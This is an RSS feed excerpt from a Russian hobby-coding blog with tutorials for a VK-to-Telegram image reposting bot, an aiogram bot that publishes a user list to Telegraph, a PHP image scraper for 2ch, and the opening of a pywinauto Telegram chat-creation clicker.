  <p>Начало функции вроде не сложное, мы проверяем - было ли передано значение offset, если было передано то мы используем ссылку по которой получаем пост со смещением, дальше объясню зачем это нужно. Если же offset не указан - мы просто получаем первую запись со стены сообщества (то есть последнею опубликованную). Затем мы записываем ответ в файл json (зачем? всё просто, делаем как можно меньше запросов, ибо вк не любит запросы. дальше увидите почему это делается так). Так как get_image сам по себе json - мы можем очень легко его записать в файл.</p>
  <p>Сейчас пойдет море проверок:</p>
  <pre>	try:
		if &#x27;items&#x27; in dat[&#x27;response&#x27;]:
			if &#x27;is_pinned&#x27; not in dat[&#x27;response&#x27;][&#x27;items&#x27;][0]:
				if &#x27;attachments&#x27; in dat[&#x27;response&#x27;][&#x27;items&#x27;][0]:
					if &#x27;photo&#x27; in dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0] and &#x27;album&#x27; not in dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0]:
						photo = dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0][&#x27;photo&#x27;][&#x27;photo_604&#x27;]
						return [group_id, photo]
					else:
						return &#x27;NOIMAGE&#x27;	
				else:
					return &#x27;NOIMAGE&#x27;
			else:
				return wall_img(image_group[0], 1) # из-за рекурсии
		else:
			return &#x27;NOIMAGE&#x27;
	except Exception as e:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;count=1&amp;access_token={v_token}&quot;)
		if get_image[&#x27;error&#x27;][&#x27;error_code&#x27;] == 5:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + &#x27;USER TOKEN IS BLOCKED&#x27;) # если токен не валид
		elif get_image[&#x27;error&#x27;][&#x27;error_code&#x27;] == 6:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + &#x27;TOO MANY REQUESTS PER SECOND&#x27;) # слишком много запросов в секунду
		else:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + str(e))
		sleep(2)</pre>
  <p>Сначала мы проверяем есть ли items в dat[&#x27;response&#x27;], в них хранятся изображения, видео, альбомы и т.д., если есть то идём дальше, если нет то возвращаем &quot;NOIMAGE&quot;, теперь мы проверяем - закреплено ли сообщение, мы ведь не знаем на сколько группа закрепляет сообщение, может оно у них 2 года уже висит, поэтому в случае закрепленного поста мы просто вызываем нашу функцию еще раз с офсетом на один пост, то есть проходим закрепленный пост и переходим к последнему посту. Идём дальше, если пост не закреплен то у него обязательно должны быть вложенные объекты, что бы это не был просто текст, если таковые есть то мы идём дальше, иначе возвращаем &quot;NOIMAGE&quot;, теперь самая главная проверка, есть ли ФОТО в сообщении и не является ли это альбомом, если проверка прошла успешно то мы получаем ссылку на фото и возвращаем массив в котором айди группы и ссылка на фотографию. Так же есть разного рода обработчики ошибок, которые будут сообщать админу об ошибках. Они находятся в except. А теперь самое интересное, почему же мы считываем данные с json файла вместо переменной такого типа:</p>
  <pre>get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;count=1&amp;access_token={v_token}&quot;)</pre>
  <p>если мы каждый раз будем обращаться к этой переменной то на каждой проверке в блок if мы будем заново вызывать функцию. Думаете вк это любит? Нет, вк этого не любит, отсюда и это сообщение: </p>
  <figure class="m_original">
    <img src="https://teletype.in/files/27/4c/274c9f1f-7fd5-48ab-bfb0-0c052f3786c2.png" width="354" />
    <figcaption>Слишком уж много запросов, лучше в json файл записывать.</figcaption>
  </figure>
  <p>ну и теперь будет самый главный цикл где мы всё это объединим:</p>
  <pre>def main():
	while True:
		for i in image_group:
			try:
				with open(&#x27;d.json&#x27;, &#x27;w&#x27;) as f:
					f.write(json.dumps({&#x27;img_f&#x27;: wall_img(i)}))
				with open(&#x27;d.json&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
					dat = json.load(f)
				if type(dat[&#x27;img_f&#x27;]) is list:
					if dat[&#x27;img_f&#x27;][-1] != get_last_post(i): 
						write_group_and_url_photo(dat[&#x27;img_f&#x27;][0], dat[&#x27;img_f&#x27;][-1])
						tb.send_photo(group_id, dat[&#x27;img_f&#x27;][-1])
			except Exception as e:
				tb.send_message(admin_id, &#x27;In main script error: \n\n&#x27; + str(e))
		print(&#x27;Ahhhh... Again this ..&#x27;)
		sleep(900)</pre>
  <p> Тут мы сначала запускаем бесконечный цикл, который обновляется раз в 15 минут (900 секунд), теперь мы идём циклом по группам, тут мы записываем результат выполнения функции которая либо вернет нам массив с группой и ссылкой на картинку, далее мы будем сравнивать, является ли то что нам вернула функция типом list, если это массив то мы проверяем, не совпадает ли ссылка на картинку с последней картинкой в базе, если она не совпадает то мы записываем новую картинку в базу и затем уже публикуем в канал. Если же были ошибки то бот об этом сообщит. </p>
  <p>А теперь - как получить айди группы в вк. Выбираем любую группу, находим любой пост и нажимаем на время под названием группы у поста</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/e8/1f/e81f2bcf-15c1-48c2-96d7-9f2a494a47d7.png" width="337" />
  </figure>
  <p>Затем копируем айди, тот что после wall и до _</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/ff/a7/ffa7b581-7393-4408-b61d-3ad6c7174d8e.png" width="426" />
  </figure>
  <p>Ну и сам вк говорит не наглеть и не делать по этому методу больше 5к запросов в сутки</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/72/57/7257e14b-1cbc-4fa9-ac08-ea2242180d01.png" width="335" />
  </figure>
  <p>но мы то делаем не больше 500, так что всё окей (всего на 5 групп, если у вас их будет больше, посчитайте заранее количество запросов в сутки и установите через какое время будете делать запрос).</p>
  <p>а вот и весь исходный код</p>
  <pre>import requests
import telebot
import sqlite3
from time import sleep
import json


v_token = &quot;7l0m0v3dkl__t.me/CodingCommunity__83fglkiaguto9602p3nbrbuz67bjf4jj5pqkehivifj0kusc227qut&quot;
tb = telebot.TeleBot(&quot;0001337000:@CodingCommunity&quot;)
admin_id = 13371337
group_id = -123123123123
image_group = [111111111, 2222222, 3333333, 44444444, 55555555]


def write_group_and_url_photo(group_id, photo_url):
	con = sqlite3.connect(&quot;group_and_photo.db&quot;)
	cur = con.cursor()
	cur.execute(f&quot;&quot;&quot;CREATE TABLE IF NOT EXISTS GAUP (group_id int, image_url text);&quot;&quot;&quot;) # GAUP group and url Photo
	cur.execute(f&quot;INSERT INTO GAUP VALUES(?,?)&quot;, (group_id, photo_url))
	con.commit()
	cur.close() 
	con.close()


def get_last_post(group_id):
	con = sqlite3.connect(&quot;group_and_photo.db&quot;)
	cur = con.cursor()	
	cur.execute(f&quot;SELECT * FROM GAUP WHERE group_id = ?&quot;, [(group_id)])
	data = cur.fetchall()
	con.commit()
	cur.close() 
	con.close()	
	return data[-1][-1]


def vk_exec(method, param):
	URL = &quot;https://api.vk.com/method/&quot; + method + &quot;?&quot; + param
	return requests.get(URL).json()


def wall_img(group_id, offset=None):
	if offset == None:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;count=1&amp;access_token={v_token}&quot;)
	else:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;offset={offset}&amp;count=1&amp;access_token={v_token}&quot;)
	with open(&#x27;data.json&#x27;, &#x27;w&#x27;) as f:
		f.write(json.dumps(get_image))
	with open(&#x27;data.json&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		dat = json.load(f)
	try:
		if &#x27;items&#x27; in dat[&#x27;response&#x27;]:
			if &#x27;is_pinned&#x27; not in dat[&#x27;response&#x27;][&#x27;items&#x27;][0]:
				if &#x27;attachments&#x27; in dat[&#x27;response&#x27;][&#x27;items&#x27;][0]:
					if &#x27;photo&#x27; in dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0] and &#x27;album&#x27; not in dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0]:
						photo = dat[&#x27;response&#x27;][&#x27;items&#x27;][0][&#x27;attachments&#x27;][0][&#x27;photo&#x27;][&#x27;photo_604&#x27;]
						return [group_id, photo]
					else:
						return &#x27;NOIMAGE&#x27;	
				else:
					return &#x27;NOIMAGE&#x27;
			else:
				return wall_img(image_group[0], 1)
		else:
			return &#x27;NOIMAGE&#x27;
	except Exception as e:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;count=1&amp;access_token={v_token}&quot;)
		if get_image[&#x27;error&#x27;][&#x27;error_code&#x27;] == 5:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + &#x27;USER TOKEN IS BLOCKED&#x27;) # если токен не валид
		elif get_image[&#x27;error&#x27;][&#x27;error_code&#x27;] == 6:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + &#x27;TOO MANY REQUESTS PER SECOND&#x27;) # слишком много запросов в секунду
		else:
			tb.send_message(admin_id, &#x27;Error: \n\n&#x27; + str(e))
		sleep(2)


def main():
	while True:
		for i in image_group:
			try:
				with open(&#x27;d.json&#x27;, &#x27;w&#x27;) as f:
					f.write(json.dumps({&#x27;img_f&#x27;: wall_img(i)}))
				with open(&#x27;d.json&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
					dat = json.load(f)
				if type(dat[&#x27;img_f&#x27;]) is list:
					if dat[&#x27;img_f&#x27;][-1] != get_last_post(i): # вот тут ошибка если бд пуста
						write_group_and_url_photo(dat[&#x27;img_f&#x27;][0], dat[&#x27;img_f&#x27;][-1])
						tb.send_photo(group_id, dat[&#x27;img_f&#x27;][-1])
			except Exception as e:
				logging.debug(&#x27;Exception in main script&#x27;)
				tb.send_message(admin_id, &#x27;In main script error: \n\n&#x27; + str(e))
		print(&#x27;Ahhhh... Again this...&#x27;)
		sleep(900)


if __name__ == &#x27;__main__&#x27;:
	print(&#x27;START&#x27;)
	main()</pre>
  <p></p>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/zXxCUtg2</guid><link>https://teletype.in/@codingcommunity/zXxCUtg2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/zXxCUtg2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Телеграм бот с функцией постинга списка в telegraph</title><pubDate>Fri, 21 Feb 2020 11:33:38 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/4d/cf/4dcfb148-5051-4b78-b949-b47b504b269d.png"></img>Всем привет, начну со скрина работы бота:]]></description><content:encoded><![CDATA[
  <p>Всем привет, начну со скрина работы бота:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/4d/cf/4dcfb148-5051-4b78-b949-b47b504b269d.png" width="408" />
  </figure>
  <p>Начнём с импортов (Бот будет работать на python3.7+):</p>
  <pre>from aiogram import Bot, Dispatcher, executor, types
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.types import ParseMode
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from telegraphapi import Telegraph</pre>
  <p>Далее пойдет токен и айди админа. Айди админа нужно для того что бы другие пользователи не могли добавлять юзеров в список.</p>
  <p>Так же мы создаём место в памяти куда будут заноситься данные от админа. По типу Юзернейма и города.</p>
  <pre>ADMIN_ID = 11111111
TOKEN = &quot;111111111:xxXXxxXXxXXxXXxXXxXxX-XxXXxXXx&quot;


storage = MemoryStorage()
bot = Bot(token=TOKEN)
dp = Dispatcher(bot, storage=storage)</pre>
  <p>Далее я решил создать функцию публикации списка в телеграфе. </p>
  <pre>def tgraph():
	telegraph = Telegraph()
	telegraph.createAccount(&quot;RandomName here&quot;)
	a = &quot;&quot;
	with open(&#x27;users.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		for l in f:
			a = a + str(l)
	page = telegraph.createPage(&quot;Список пользователей.&quot;, html_content=&quot;&lt;p&gt;&quot; + a + &quot;&lt;p&gt;&quot;)
	return &#x27;http://telegra.ph/{}&#x27;.format(page[&#x27;path&#x27;])</pre>
  <p>Сначала мы создаём объект класса телеграф, создаём аккаунт с рандомным именем. Затем создаём пустую строку в которую будем записывать юзеров для публикации. затем открываем текстовый файл users.txt и проходим по каждой строке - записывая её значение в переменную. Затем создаём пост в телеграфе с заголовком &quot;Список пользователей&quot; и контентом - нашей строкой. Функция возвращает ссылку на созданный пост.</p>
  <p>Далее будем создавать 2 клавиатуры. Одна для админа - вторая для обычного юзера.</p>
  <pre>but1 = &#x27;Добавить пользователя&#x27;
but2 = &#x27;Вывести список&#x27;


markup = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup.add(but1)
markup.add(but2)


markup2 = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup2.add(but2)</pre>
  <p>Первая клавиатура для админа, что бы он мог выбрать функцию &quot;Добавить пользователя&quot;, вторая клавиатура для обычного пользователя который запустил бота.</p>
  <p>Далее у нас идёт обработка команды /start</p>
  <pre>@dp.message_handler(commands=[&#x27;start&#x27;])
async def process_start_command(message: types.Message):
	if message[&#x27;from&#x27;][&#x27;id&#x27;] == ADMIN_ID:
		await message.reply(f&quot;Привет, выбери действие.&quot;, reply_markup=markup, reply=False)
	else:
		await message.reply(f&quot;Привет, выбери действие.&quot;, reply_markup=markup2)</pre>
  <p>Здесь мы проверяем - является ли юзер который написал админом, если это не админ то мы отправляем ему вторую клавиатуру с помощью которой юзер может получить список пользователей, не более.</p>
  <p>Далее идёт обработка команды &quot;Вывести список&quot;</p>
  <pre>@dp.message_handler(text=&#x27;Вывести список&#x27;)
async def cmd_start(message: types.Message):
	link = tgraph()
	await message.reply(&#x27;Вот доступные пользователи: &#x27; + link.replace(&#x27;telegra.ph&#x27;, &#x27;tgraph.io&#x27;), reply=False)</pre>
  <p>Тут всё в принципе просто, мы создаём ссылку на функцию с помощью переменной, затем делаем замену telegra.ph ссылки на tgraph.io потому что мне сказали что телеграф в блоке в РФ.</p>
  <p>Так же было принято решение сделать команду /users для чатов. Ведь у кого то не официальные и старые клиенты, которые не обрабатывают кнопки. (например мобильный клиент telegraph)</p>
  <pre>@dp.message_handler(commands=[&#x27;users&#x27;])
async def process_start_command(message: types.Message):
	link = tgraph()
	await message.reply(&#x27;Вот доступные пользователи: &#x27; + link.replace(&#x27;telegra.ph&#x27;, &#x27;tgraph.io&#x27;), reply=False)</pre>
  <p>Далее идёт машина состояний которую я выдрал с прошлого бота который создавал зашифрованные записки.</p>
  <pre>сlass kod_key(StatesGroup):
    word = State()
    crypted = State()</pre>
  <p>Затем делаем обработку команды &quot;Добавить пользователя&quot;</p>
  <pre>@dp.message_handler(text=&#x27;Добавить пользователя&#x27;)
async def cmd_start(message: types.Message):
	if message[&#x27;from&#x27;][&#x27;id&#x27;] == ADMIN_ID:
		await kod_key.word.set()
		await message.reply(&#x27;Введи username\nПример: @username&#x27;, reply=False)</pre>
  <p>Тут мы проверяем айди написавшего, если админ то идём дальше. Сделано для того что бы всякие умники не могли добавить послания в телеграф документ. Затем мы задаём состояние kod_key.</p>
  <p>Далее мы переходим к состоянию kod_key:</p>
  <pre>@dp.message_handler(state=kod_key.word)
async def process_name(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data[&#x27;word&#x27;] = message.text
    await message.reply(&#x27;Введи город\nПример: Рим&#x27;, reply=False)
    await kod_key.next()</pre>
  <p>Здесь не нужно делать проверку на админа. т.к. сюда нельзя попасть если ты не админ. Тут вы задаем переменной data[&quot;word&quot;] текст сообщения который напишет юзер. Оно сохраняется в памяти. Так же в конце мы переходим на следующие состояние &quot;crypted&quot;. </p>
  <pre>@dp.message_handler(state=kod_key.crypted)
async def process_age(message: types.Message, state: FSMContext):
	await state.update_data(crypted=message.text)
	async with state.proxy() as data:
		with open(&quot;users.txt&quot;, &#x27;a&#x27;, encoding=&#x27;utf-8&#x27;) as f:
			f.write(data[&#x27;word&#x27;] + &quot; &quot; + data[&quot;crypted&quot;] + &quot;\n&quot;)
	await message.reply(f&#x27;Пользователь успешно записан в файл.\nUsername: &#x27; + data[&#x27;word&#x27;] + &#x27; \nГород: &#x27; + data[&#x27;crypted&#x27;], reply=False)
	await state.finish()</pre>
  <p>Вот здесь мы уже знаем юзернейм и город, записываем их в обычный файл. Так же заканчиваем state с помощью finish. </p>
  <p>Ну и код заканчивается: </p>
  <pre>if __name__ == &#x27;__main__&#x27;:
    print(&quot;starting&quot;)
    executor.start_polling(dp)</pre>
  <p>А теперь полный листинг программы:</p>
  <pre>from aiogram import Bot, Dispatcher, executor, types
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.types import ParseMode
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from telegraphapi import Telegraph


ADMIN_ID = 111111
TOKEN = &quot;1111111:XXxxXXxXxxXxXxXxXXxXxXXxXX&quot;


storage = MemoryStorage()
bot = Bot(token=TOKEN)
dp = Dispatcher(bot, storage=storage)


def tgraph():
	telegraph = Telegraph()
	telegraph.createAccount(&quot;Your dream&quot;)
	a = &quot;&quot;
	with open(&#x27;users.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		for l in f:
			a = a + str(l)
	page = telegraph.createPage(&quot;Список пользователей.&quot;, html_content=&quot;&lt;p&gt;&quot; + a + &quot;&lt;p&gt;&quot;)
	return &#x27;http://telegra.ph/{}&#x27;.format(page[&#x27;path&#x27;])
	
	
but1 = &#x27;Добавить пользователя&#x27;
but2 = &#x27;Вывести список&#x27;


markup = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup.add(but1)
markup.add(but2)


markup2 = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup2.add(but2)


@dp.message_handler(commands=[&#x27;start&#x27;])
async def process_start_command(message: types.Message):
	if message[&#x27;from&#x27;][&#x27;id&#x27;] == ADMIN_ID:
		await message.reply(f&quot;Привет, выбери действие.&quot;, reply_markup=markup, reply=False)
	else:
		await message.reply(f&quot;Привет, выбери действие.&quot;, reply_markup=markup2)


@dp.message_handler(text=&#x27;Вывести список&#x27;)
async def cmd_start(message: types.Message):
	link = tgraph()
	await message.reply(&#x27;Вот доступные пользователи: &#x27; + link.replace(&#x27;telegra.ph&#x27;, &#x27;tgraph.io&#x27;), reply=False)


@dp.message_handler(commands=[&#x27;users&#x27;])
async def process_start_command(message: types.Message):
	link = tgraph()
	await message.reply(&#x27;Вот доступные пользователи: &#x27; + link.replace(&#x27;telegra.ph&#x27;, &#x27;tgraph.io&#x27;), reply=False)


class kod_key(StatesGroup):
    word = State()
    crypted = State()


@dp.message_handler(text=&#x27;Добавить пользователя&#x27;)
async def cmd_start(message: types.Message):
	if message[&#x27;from&#x27;][&#x27;id&#x27;] == ADMIN_ID:
		await kod_key.word.set()
		await message.reply(&#x27;Введи username\nПример: @username&#x27;, reply=False)


@dp.message_handler(state=kod_key.word)
async def process_name(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data[&#x27;word&#x27;] = message.text
    await message.reply(&#x27;Введи город\nПример: Рим&#x27;, reply=False)
    await kod_key.next()


@dp.message_handler(state=kod_key.crypted)
async def process_age(message: types.Message, state: FSMContext):
	await state.update_data(crypted=message.text)
	async with state.proxy() as data:
		with open(&quot;users.txt&quot;, &#x27;a&#x27;, encoding=&#x27;utf-8&#x27;) as f:
			f.write(data[&#x27;word&#x27;] + &quot; &quot; + data[&quot;crypted&quot;] + &quot;\n&quot;)
	await message.reply(f&#x27;Пользователь успешно записан в файл.\nUsername: &#x27; + data[&#x27;word&#x27;] + &#x27; \nГород: &#x27; + data[&#x27;crypted&#x27;], reply=False)
	await state.finish()



if __name__ == &#x27;__main__&#x27;:
    print(&quot;starting&quot;)
    executor.start_polling(dp)
</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a> </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/BJZ5QCYRH</guid><link>https://teletype.in/@codingcommunity/BJZ5QCYRH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/BJZ5QCYRH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Парсер картинок на php</title><pubDate>Fri, 20 Dec 2019 05:45:13 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/0e/cf/0ecf1887-d07c-4d1e-ae86-39f43c39e10b.png"></img>При написании этого скрипта я ставил перед собой цель обойтись одним файлом без сторонних зависимостей. Итак, приступим.]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://teletype.in/files/0e/cf/0ecf1887-d07c-4d1e-ae86-39f43c39e10b.png" width="820" />
  </figure>
  <p>При написании этого скрипта я ставил перед собой цель обойтись одним файлом без сторонних зависимостей. Итак, приступим.</p>
  <p>У меня патологическая тяга к сохранению картинок, с изучением же кодинга архив изображений стал пополняться чуть ли не в геометрической прогрессии. Парсить я решил двач, так как там удобное API.</p>
  <hr />
  <p>Использовать скрипт мы будем так: <code>php parser.php ссылка директория</code>, причем на Windows нужно добавить путь к php.exe в переменную <code>%PATH%</code>.<br />Для начала нужно обработать аргументы, которых у нас будет три - первый для вывода имени файла (я без понятия, как вы собираетесь назвать свой скрипт), второй для ссылки и третий, необязательный, для директории сохранения картинок. Заодно выведем краткий хелп:</p>
  <pre>if (isset($argv[1])) {
    $url = $argv[1];
} else {
    print_r(&quot;Usage: php {$argv[0]} url output_directory(optional)\n&quot;);
    exit(&quot;\n\tExit with status: wrong script usage&quot;);
}

if (isset($argv[2])) {
    $imagesDirectory = $argv[2];
} else {
    $imagesDirectory = &#x27;images&#x27;;
}</pre>
  <p>Обратите внимание на двойные кавычки и фигурные скобки вокруг первого аргумента.</p>
  <p>Далее объявим массив для ссылок и заменим окончание ссылки с .html на .json, чтобы взаимодействовать с API:</p>
  <pre>$imageLinks = [];

$request = preg_split(&#x27;~(html)$~&#x27;, $url, null, PREG_SPLIT_NO_EMPTY);
$result = json_decode(file_get_contents($request[0] . &#x27;json&#x27;), true);</pre>
  <blockquote>Документация по json_decode и прочим функциям находится на сайте php.net, доступна в том числе и на русском языке.</blockquote>
  <p>Теперь нужно пройтись по полученному json&#x27;у и записать в массив все ссылки на картинки:</p>
  <pre>$threads = $result[&#x27;threads&#x27;][0];
foreach ($threads as $thread) {
    foreach ($thread as $posts) {
        foreach ($posts as $key =&gt; $value) {
            if ($key == &#x27;files&#x27;) {
                foreach ($value as $path) {
                    $imageLinks[] = &#x27;https://2ch.hk&#x27; . $path[&#x27;path&#x27;];
                }
            }
        }
    }
}</pre>
  <p>После этого можно приступать к функции сохранения картинок, она будет принимать на вход 2 аргумента - массив ссылок и директорию вывода. Приступим к написанию функционала:</p>
  <pre>function saveImages($imageLinks, $imagesDirectory) {
$extensionPattern = &#x27;~(https:\/\/2ch.hk\/[a-z]+\/[a-z]+\/[0-9]+\/[0-9]+)~&#x27;;
$imageNamePattern = &#x27;~(https://2ch.hk/)[a-z]+(/[a-z]+/[0-9]+/)~&#x27;;
foreach ($imageLinks as $imageLink) {
    $imageName = preg_split($imageNamePattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
    $extension = preg_split($extensionPattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
    $imageName = $imageName[0];
    $extension = $extension[0];
    if ($extension == &#x27;.webm&#x27; || $extension == &#x27;.mp4&#x27; || $extension == &#x27;.gif&#x27;) {
        print_r($imageName . &quot; will not be saved!\n&quot;);
        continue;
    } else {
        file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . $imagesDirectory . DIRECTORY_SEPARATOR . $imageName, file_get_contents($imageLink));
        print_r($imageName . &quot; was saved successfully\n&quot;);
        }
    }
}</pre>
  <p>Для начала объявим 2 регулярных выражения для расширения и имени картинки (чтобы не генерировать рандомное имя каждый раз). Переприсвоение переменных - необходимость, вызванная особенностью preg_split. <br />Затем просто проходимся циклом по массиву ссылок, сохраняя картинки и отсекая видео и гифки. В конце сохраняем всё в указанную или дефолтную директорию, притом не важно, вызываете вы скрипт на Linux или на Windows, сохранение будет произведено корректно (Win10 1903 / Ubuntu 16.04 полёт нормальный).</p>
  <p>Ну и в конце делаем проверку наличия директории, если она не была передана в качестве аргумента, сохраняем в дефолтную, которая называется &#x27;images&#x27; и будет создана там же, где вы вызвали скрипт.</p>
  <pre>if (file_exists($imagesDirectory)) {
saveImages($imageLinks, $imagesDirectory);
    print_r(&quot;\nJob Done!\n&quot;);
} else {
    mkdir($imagesDirectory);
    saveImages($imageLinks, $imagesDirectory);
    print_r(&quot;\nJob Done!\n&quot;);
}</pre>
  <p>Полный исходный код (вывод в консоль можно убрать, я его использую для отображения прогресса):</p>
  <pre>&lt;?php

if (isset($argv[1])) {
    $url = $argv[1];
} else {
    print_r(&quot;Usage: php {$argv[0]} url output_directory(optional)\n&quot;);
    exit(&quot;\n\tExit with status: wrong script usage&quot;);
}

if (isset($argv[2])) {
    $imagesDirectory = $argv[2];
} else {
    $imagesDirectory = &#x27;images&#x27;;
}

$imageLinks = [];

$request = preg_split(&#x27;~(html)$~&#x27;, $url, null, PREG_SPLIT_NO_EMPTY);
$result = json_decode(file_get_contents($request[0] . &#x27;json&#x27;), true);

$threads = $result[&#x27;threads&#x27;][0];
foreach ($threads as $thread) {
    foreach ($thread as $posts) {
        foreach ($posts as $key =&gt; $value) {
            if ($key == &#x27;files&#x27;) {
                foreach ($value as $path) {
                    $imageLinks[] = &#x27;https://2ch.hk&#x27; . $path[&#x27;path&#x27;];
                }
            }
        }
    }
}

function saveImages($imageLinks, $imagesDirectory) {
    $extensionPattern = &#x27;~(https:\/\/2ch.hk\/[a-z]+\/[a-z]+\/[0-9]+\/[0-9]+)~&#x27;;
    $imageNamePattern = &#x27;~(https://2ch.hk/)[a-z]+(/[a-z]+/[0-9]+/)~&#x27;;
    foreach ($imageLinks as $imageLink) {
        $imageName = preg_split($imageNamePattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
        $extension = preg_split($extensionPattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
        $imageName = $imageName[0];
        $extension = $extension[0];
        if ($extension == &#x27;.webm&#x27; || $extension == &#x27;.mp4&#x27; || $extension == &#x27;.gif&#x27;) {
            print_r($imageName . &quot; will not be saved!\n&quot;);
            continue;
        } else {
            file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . $imagesDirectory . DIRECTORY_SEPARATOR . $imageName, file_get_contents($imageLink));
            print_r($imageName . &quot; was saved successfully\n&quot;);        
        }
    }
}

if (file_exists($imagesDirectory)) {
    saveImages($imageLinks, $imagesDirectory);
    print_r(&quot;\nJob Done!\n&quot;);
} else {
    mkdir($imagesDirectory);
    saveImages($imageLinks, $imagesDirectory);
    print_r(&quot;\nJob Done!\n&quot;);
}</pre>
  <blockquote>small_shell с любовью для @CodingCommunity</blockquote>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/HyNRQw_0S</guid><link>https://teletype.in/@codingcommunity/HyNRQw_0S?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/HyNRQw_0S?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Кликер на Python для создания чатов на официальном клиенте Telegram</title><pubDate>Thu, 19 Dec 2019 03:48:05 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/54/11/5411e899-17ab-4091-b2b1-60ff0e5f9e82.png"></img>Начнём с импорта зависимостей:]]></description><content:encoded><![CDATA[
  <p>Начнём с импорта зависимостей:</p>
  <pre>import win32gui
import pywinauto
from pywinauto.application import Application
from pywinauto.keyboard import send_keys
from time import sleep
import os
import shutil
from ctypes import *</pre>
  <p>Из нестандартных тут pywinauto и win32gui. Можно установить лишь pywinauto, она сама установит win32gui и вам не придётся мучиться. </p>
  <pre>pip install pywinauto</pre>
  <p>Модуль ctypes нам нужен для более красивого вывода в консоль Windows (что совершенно не обязательно). Начнём с функции main:</p>
  <pre>if __name__ == &#x27;__main__&#x27;:
	os.system(&quot;COLOR 01&quot;)
	os.system(&quot;CLS&quot;)
	blue()
	print(&#x27;How many chats to create?&#x27;)
	green()
	data = input(&quot;&gt;&gt;&gt; &quot;)
	os.system(&quot;CLS&quot;)
	VA = os.listdir(path=&quot;VA&quot;)</pre>
